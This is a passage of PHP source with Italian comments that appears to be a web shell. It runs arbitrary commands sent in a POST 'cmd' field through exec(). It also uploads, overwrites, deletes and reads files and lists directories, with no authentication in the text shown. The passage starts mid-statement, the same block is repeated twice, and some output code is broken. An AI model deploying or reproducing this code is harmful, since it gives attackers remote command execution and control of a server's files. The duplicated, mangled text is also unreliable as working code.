else print "$ Error while loading ".$_FILES['userfile']['name']." \n"; }
# # Modifica o cancellazione di file # if (isset($_POST['dofile'])) { $ref=$_SERVER['HTTP_REFERER']; $fname=htmlentities($_POST['dofile']); $content=$_POST['content'];
# # Modifica # if (isset($_POST['save'])) { if (!($fp=fopen($fname,"w"))) die ("$ Unable to write to $fname \n");
fputs ($fp,$content); fclose($fp);
print ("File $fname successfully updated
\n"); }
# # Cancellazione # if (isset($_POST['remove'])) { unlink ($fname) or die ("$ Unable to remove $fname \n"); print "$fname successfully removed
\n"; } }
# # Esecuzione di un comando # if (isset($_POST['cmd'])) { $cmd=$_POST['cmd']; $output=array(); exec ($cmd,$output);
print " \n"; print "# cmd output:
"; print "
\n";
foreach ($output as $line) print "$line \n"; print "
\n"; die(''); }
# # Visualizzazione di file # if (isset($_POST['fname'])) { print "# Warning: editing or removing a file is only possible if you've got the privileges to do that
";
$fname=htmlentities($_POST['fname']); $file=file($fname) or print "$ Unable to open $fname \n";
print "\n"; }
# # Visualizzazione del contenuto di una directory # if (isset($_POST['dirname'])) $path=htmlspecialchars($_POST['dirname']); else $path=getcwd();
$dp=opendir($path) or die("$ Unable to open $path \n"); chdir ($path); $path=getcwd();
print "
\n"; print "> cwd: ".getcwd()."
\n\n"; $dir=array();
while ($file=readdir($dp)) if (strcmp(".",$file)) array_push($dir,"$path/$file");
else print "$ Error while loading ".$_FILES['userfile']['name']." \n"; }
# # Modifica o cancellazione di file # if (isset($_POST['dofile'])) { $ref=$_SERVER['HTTP_REFERER']; $fname=htmlentities($_POST['dofile']); $content=$_POST['content'];
# # Modifica # if (isset($_POST['save'])) { if (!($fp=fopen($fname,"w"))) die ("$ Unable to write to $fname \n");
fputs ($fp,$content); fclose($fp);
print ("File $fname successfully updated
\n"); }
# # Cancellazione # if (isset($_POST['remove'])) { unlink ($fname) or die ("$ Unable to remove $fname \n"); print "$fname successfully removed
\n"; } }
# # Esecuzione di un comando # if (isset($_POST['cmd'])) { $cmd=$_POST['cmd']; $output=array(); exec ($cmd,$output);
print " \n"; print "# cmd output:
"; print "
\n";
foreach ($output as $line) print "$line \n"; print "
\n"; die(''); }
# # Visualizzazione di file # if (isset($_POST['fname'])) { print "# Warning: editing or removing a file is only possible if you've got the privileges to do that
";
$fname=htmlentities($_POST['fname']); $file=file($fname) or print "$ Unable to open $fname \n";
print "\n"; }
# # Visualizzazione del contenuto di una directory # if (isset($_POST['dirname'])) $path=htmlspecialchars($_POST['dirname']); else $path=getcwd();
$dp=opendir($path) or die("$ Unable to open $path \n"); chdir ($path); $path=getcwd();
print "
\n"; print "> cwd: ".getcwd()."
\n\n"; $dir=array();
while ($file=readdir($dp)) if (strcmp(".",$file)) array_push($dir,"$path/$file");